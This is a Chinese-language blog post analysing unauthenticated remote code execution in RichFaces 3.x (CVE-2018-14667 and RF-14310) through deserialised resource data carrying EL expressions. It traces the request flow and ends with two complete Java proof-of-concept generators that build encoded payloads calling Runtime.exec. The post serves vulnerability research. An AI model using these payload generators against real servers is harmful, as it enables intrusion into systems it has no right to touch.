影响:3.x ~ 3.3.4(3.x 中最高的版本,官方在 2016 年已经停止维护该项目)

据漏洞的描述为可以通过 org.ajax4jsf.resource.UserResource$UriData 构造恶意的反序列化数据(里面插入 EL 来执行代码),从而攻击者可以在未认证的情况下实现远程代码执行的效果。

0x00 RichFaces 中的反序列的点

从官网下载 richfaces-demo-3.3.4.Final.war 作为测试对象,

在 BaseFilter#doFilter 中检测是否为资源服务请求(这是个人理解,对 RichFaces 并不熟悉)处下一个断点开始跟踪调试
15427022640117.jpg

往前跟到进入 WebXml#getFacesResourceKey
15427026563585.jpg

这个方法传入的参数就是 url,然后通过 url 的开头和三种资源的前缀来对比区分请求的资源类型,这三种资源前缀分别为
15427036977030.jpg

再加上版本号,接下来是截取了相应的前缀和后缀(.jsf)后将中间的值返回

继续往下跟进入 InternetResourceService#serviceResource 就是用前面获取到的返回值作为 resourceKey 去找相对应的 resource
15427041299719.jpg

往下跟的时候发现前面传进来的 resourceKey 还会根据 DAT(A|B) 来截取一次作为 key
15427043052359.jpg

15427044297694.jpg

这里就有一开始看这个洞的时候比较疑惑的一点,org.ajax4jsf.resource.UserResource 没有注册,直接会抛出上图中的那个异常了。也没找到这个流程中能注册 resource 的点,还以为是得修改服务端的配置添加这个 resource 了,后来看了别人的文章才发现在 MediaOutputRenderer#doEncodeBegin 中有对 UserResource 的创建,它是在对 jsf 的 mediaOutput 标签解析中执行的。在 demo 中动态生成图片处查看它的 url
15427054314245.jpg

因此在利用的过程中需要用到 demo 中这个已经注册的 UserResource 的 key,在这里是 org.ajax4jsf.resource.UserResource/n/s/-1487394660,如果这里的 key 是已经注册了的就可以继续往下跑了,到进入 ResourceBuilderImpl#getResourceDataForKey
15427060202144.jpg

这个方法的大体流程为截取 DAT(A|B) 后的数据进行解密,然后做反序列化,代码中其实可以看到只有是 DATA 的时候才会做反序列化,DATB 是直接作为对象数组处理了。这里处理输入流的类重写了 resolveClass 方法,做了白名单的检测,要用到的 org.ajax4jsf.resource.UserResource$UriData 就在白名单中,就不跟过去看了。

这个洞的利用并不是反序列化来触发的,触发点还在后面。

0x01 触发 EL 执行

接下来的执行流程还是在 InternetResourceService#serviceResource 中,将反序列化获取到的对象存入 resourceContext 中,往下直到进入
15427068875547.jpg

这其中还是有条件判断是否能执行到这一步,不过默认的情况下没看到有影响。跟下去会发现调用到了 UserResource#send,最终在 invoke 处执行了 EL
15427074448583.jpg

上面这个只是 EL 执行的其中一处,看 InternetResourceBase#sendHeaders
15427722193786.jpg

红圈的这两处其实就是调用的 UserResource#getLastModified 和 UserResource#getExpired,这三处都是可以执行 EL 的,执行流程中的顺序为 UserResource#getLastModified、UserResource#getExpired 和 UserResource#send。

0x02 PoC

简单修改了一下随风师傅的 PoC,改成了在 UserResource#getLastModified 处触发执行

package javax.faces.component;

import org.ajax4jsf.util.base64.Codec;
import util.Reflections;

import javax.el.ValueExpression;
import org.jboss.el.ValueExpressionImpl;
import javax.faces.FacesException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.zip.Deflater;

/**
 * Created by k1n9 on 2018/11/21 at 11:19.
 */
public class CVE201814667 {
    private static Codec codec = new Codec();

    protected static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return codec.encode(zipsrc);
        } catch (Exception var6) {
            throw new FacesException("Error encode resource data", var6);
        }
    }

    public static void main(String[] args) throws Exception {
        String expr = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /applications/calculator.app\")}";

        Class cls = Class.forName("org.ajax4jsf.resource.UserResource$UriData");
        Constructor ct = cls.getDeclaredConstructors()[0];
        ct.setAccessible(true);
        Object obj = ct.newInstance();

        ValueExpression ve = new ValueExpressionImpl(expr, null, null, null ,null);
        StateHolderSaver stateHolderSaver = new StateHolderSaver(null, ve);

        Reflections.setFieldValue(obj, "modified", stateHolderSaver);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);

        byte[] output = encrypt(bos.toByteArray());
        System.out.println(new String(output, "ISO-8859-1"));
    }
}

更新份 RF-14310 PoC

package javax.faces.component;

import org.ajax4jsf.util.base64.Codec;
import org.jboss.seam.jsf.UnifiedELMethodBinding;
import util.Reflections;

import javax.faces.FacesException;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.zip.Deflater;

/**
 * Created by k1n9 on 2018/11/30 at 11:29.
 */
public class RF14310 {
    private static Codec codec = new Codec();

    protected static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return codec.encode(zipsrc);
        } catch (Exception var6) {
            throw new FacesException("Error encode resource data", var6);
        }
    }

    public static void main(String[] args) throws Exception {
        String expr = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /applications/calculator.app\")}";

        Class cls = Class.forName("org.richfaces.renderkit.html.Paint2DResource$ImageData");
        Constructor ct = cls.getDeclaredConstructors()[0];
        ct.setAccessible(true);
        Object obj = ct.newInstance();

        MethodBinding mb = new UnifiedELMethodBinding(expr, null);
        StateHolderSaver stateHolderSaver = new StateHolderSaver(null, mb);

        Reflections.setFieldValue(obj, "_paint", stateHolderSaver);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);

        byte[] output = encrypt(bos.toByteArray());
        System.out.println(new String(output, "ISO-8859-1"));
    }
}

0x03 参考

标签: richfaces, el

添加新评论